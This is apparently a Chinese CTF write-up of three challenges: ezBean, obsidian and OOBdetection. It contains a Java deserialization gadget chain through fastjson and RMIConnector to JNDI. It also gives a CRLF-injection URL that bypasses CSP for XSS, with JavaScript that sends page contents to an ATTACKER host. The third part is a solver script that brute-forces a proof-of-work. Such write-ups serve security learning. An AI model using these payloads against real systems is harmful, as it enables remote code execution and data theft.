ezBean
这题本来做出来了,但是本地一直没复现成功(不知道是不是fastjson1.2.60版本的原因)也没想着直接去打poc,就错失了300分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public class test { public static void setFieldValue (Object obj,String fieldname,Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true ); field.set(obj,value); } public static void main (String[] args) throws Exception { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase" , String.valueOf(true )); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase" , String.valueOf(true )); JMXServiceURL u = new JMXServiceURL ("service:jmx:rmi:///jndi/rmi://127.0.0.1:1099/el" ); System.out.println("URL: " + u + ", connecting" ); RMIConnector c = new RMIConnector ((JMXServiceURL)u, null ); MyBean templates = new MyBean (); setFieldValue(templates,"conn" ,c); JSONArray jsonArray = new JSONArray (); jsonArray.add(templates); BadAttributeValueExpException val = new BadAttributeValueExpException (123 ); Field valfield = val.getClass().getDeclaredField("val" ); valfield.setAccessible(true ); valfield.set(val, jsonArray); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (barr); objectOutputStream.writeObject(val); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object o = (Object)ois.readObject(); } }
如果用fastjson 1.2.60版本跑这个payload就会报 RMIConnector没有无参构造函数这个错误,搞得我想找平替RMIConnector的类,要满足以下三点
有connect()函数
实现了JMXConnector接口
有无参构造的函数
结果找了半天没找到 调用链如下,可以自己调试一下BadAttributeValueExpException.readObject.toString -> FastJSON -> MyBean.getConnect -> RMIConnector.connect -> JNDI
obsidian 做题的时候一直以为是这个软件的rce,然后在那边绕过询问弹框,用https://forum.obsidian.md/t/possible-remote-code-execution-through-obsidian-uri-scheme/39743 这个poc去打rce,打的时候还一直在思考如果是这样搞的话,那为什么还需要xss➕绕过csp,结果最后还真的不是😂 当时还脑抽着想为什么他访问我的云服务器没有cookie
接下来开始分析,破解suffix就不说了
crlf绕过csp加注入xss 那么直接在nodeid后面加crlf注入,加xss就可以绕过csp,并且获得setcookiehttp://比赛ip/note/123123%0d%0aA:B%0d%0a%0d%0a%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E%0d%0a%0d%0a
上面的链接就可以进行弹窗,而且页面会显示 就是因为crlf把他本来的http响应弄成response text了 那么接下来就很明了了http://比赛/note/123123%0d%0aA:B%0d%0a%0d%0a%3Cscript%3Efetch('%2Fblog').then((response)%20%3D%3E%20response.text()).then((data)%20%3D%3Ebtoa(data)).then((data)%20%3D%3Elocation.replace(%60http%3A%2F%2F
+ip+%3A99%2F%3Fdata%3D%24%7Bdata%7D%60))%3C%2Fscript%3E%0d%0a%0d%0a
通过js注入1 2 3 4 fetch ('/blog' ) .then ((response ) => response.text ()) .then ((data ) => btoa (data)) .then ((data ) => location.replace (`http://ATTACKER/?data=${data} ` ))
OOBdetection 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 import socketimport reimport hashlibimport mathip_address = "47.98.209.191" port = 1337 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip_address, port)) data = s.recv(1024 ) print ("Received:" , data.decode())resp = data.decode() matchs1 = re.match(r"sha256\(XXX(.*?)\)" , resp) code1 = matchs1.group(1 ).split(" " )[2 ].split(")" )[0 ] code2 = resp.split("==" )[1 ].strip() print ("code1 : " + code1)print ("code2 : " + code2)target_hash = code2 salt = bytes .fromhex(code1) data = s.recv(1024 ) print ("Received:" , data.decode())import re,osclass NonNegativeIndexList (list ): def __getitem__ (self, index ): if isinstance (index, int ) and index < 0 : raise IndexError("Index cannot be negative" ) return super ().__getitem__(index) def __setitem__ (self, index, value ): if isinstance (index, int ) and index < 0 : raise IndexError("Index cannot be negative" ) if index == None : raise Exception return super ().__setitem__(index, value) def c_to_python_syntax (c_code ): array_pattern = r"int\s+([a-zA-Z_][a-zA-Z0-9_]*)\s*\[([\sa-zA-Z0-9_+]*)\](?:\s*\[([\sa-zA-Z0-9_+]*)\])?;" assignment_pattern = r"int\s+([a-zA-Z_][a-zA-Z0-9_]*)\s*=\s*([0-9]+);" array_match = re.match(array_pattern, c_code) assignment_match = re.match(assignment_pattern, c_code) if array_match: var_name = array_match.group(1 ) first_dim = array_match.group(2 ) second_dim = array_match.group(3 ) if second_dim: return f"{var_name} = NonNegativeIndexList([[None]*({second_dim} )]*({first_dim} ))" else : return f"{var_name} = NonNegativeIndexList([None]*({first_dim} ))" elif assignment_match: var_name = assignment_match.group(1 ) value = assignment_match.group(2 ) return f"{var_name} = {value} " else : raise ValueError("Invalid C code provided" ) def patch (input ): code_lines = input .split('\n' ) for code_line in code_lines: try : if (code_line.find("int" )!=-1 ): if (code_line.find("[" )!= -1 ): exec (c_to_python_syntax(code_line)) continue elif (code_line.find('=' )!=-1 ): exec (code_line.replace('int ' ,'' )) else : exec (code_line.replace('int ' ,'' ).replace(';' ,'' )+'=None' ) else : exec (code_line) except TypeError as e: if (e.args[0 ].find('list indices must be integers or slices' )!=-1 ): return "noboo" return "unknown" except : return "boo" return "noboo" def ifboo (input ): code = patch(input ) return code def prfint (input ): input_lists = input .split('\n' ) new_code = '' for input_list in input_lists: try : if (input_list[-1 ] == ';' ): new_code += input_list+'\n' except : continue return new_code for i in range (16 ** 6 ): xxx_hex = hex (i)[2 :].zfill(6 ) input_str = bytes .fromhex(xxx_hex) + salt hash_obj = hashlib.sha256(input_str) hash_hex = hash_obj.hexdigest() if hash_hex == target_hash: print ("Found XXX: {}" .format (xxx_hex)) code = xxx_hex break s.sendall(code.encode()+b'\n' ) i = 1 try : while True : print ("TIMETIMETIME:::::" +str (i)) i+=1 data = s.recv(2048 ) input = data.decode() input_code = prfint(input ) print ("Received:" , data.decode()) boo = ifboo(input_code.replace('[ ' ,'[' ).replace(' ]' ,']' )) if (boo=='boo' ): print ('oob' ) s.sendall(b'oob\n' ) elif (boo=='noboo' ): print ('safe' ) s.sendall(b'safe\n' ) elif (boo=='unknown' ): print ('unknown' ) s.sendall(b'unknown\n' ) else : print ('oob' ) s.sendall(b'oob\n' ) data = s.recv(2048 ) print ("Received:" , data.decode()) finally : s.close() print ("over!!!" )
网上都是转成lark语法,我是转成了python语法,然后重载了列表,让他如果index<0了,就触发异常,满足c语言的语法,然后根据不同的异常信息去判断结果